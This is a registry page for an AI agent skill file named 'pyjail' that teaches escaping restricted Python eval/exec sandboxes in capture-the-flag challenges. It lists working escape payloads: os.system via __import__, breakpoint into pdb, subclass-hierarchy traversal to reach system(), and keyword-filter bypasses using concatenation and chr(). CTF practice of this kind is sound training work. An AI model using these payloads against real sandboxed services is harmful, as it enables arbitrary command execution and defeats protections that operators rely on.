<< All versions
Skill v1.0.0
currentAutomated scan100/100majiayu000/claude-skill-registry-data/pyjail
──Details
PublishedJuly 2, 2026 at 06:19 PM
Content Hashsha256:3b5fd0ac0df91982...
Git SHAfca573455f3a
──Files
Files (1 file, 1.4 KB)
SKILL.md1.4 KBactive
SKILL.md · 57 lines · 1.4 KB
version: "1.0.0" name: pyjail description: Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges. allowed-tools: Bash, Read, Write, Grep, Glob
Python Jail Escape Skill
Quick Workflow
Progress:- [ ] Identify restrictions (blocked keywords/chars)- [ ] Try basic escapes first- [ ] If builtins blocked, use class hierarchy- [ ] Bypass filters with encoding/concatenation- [ ] Execute command to get flag
Quick Reference - Common Escapes
python
# Basic command execution__import__('os').system('cat flag.txt')eval("__import__('os').system('id')")exec("import os; os.system('ls')")# Using breakpoint (Python 3.7+)breakpoint() # Drops into pdb, then !cat flag.txt# No builtins - class hierarchy().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')# Keyword bypass__import__('o'+'s').system('cat flag')__import__(chr(111)+chr(115)).system('cat flag')
Reference Files
| Topic | Reference | |
|---|---|---|
| Bypass Techniques | reference/bypass.md | |
| Complete Payloads | reference/payloads.md |
Quick Debugging
python
# Find useful class indexfor i, c in enumerate(().__class__.__base__.__subclasses__()):if 'wrap' in str(c): print(i, c)# Check available builtinsdir(__builtins__)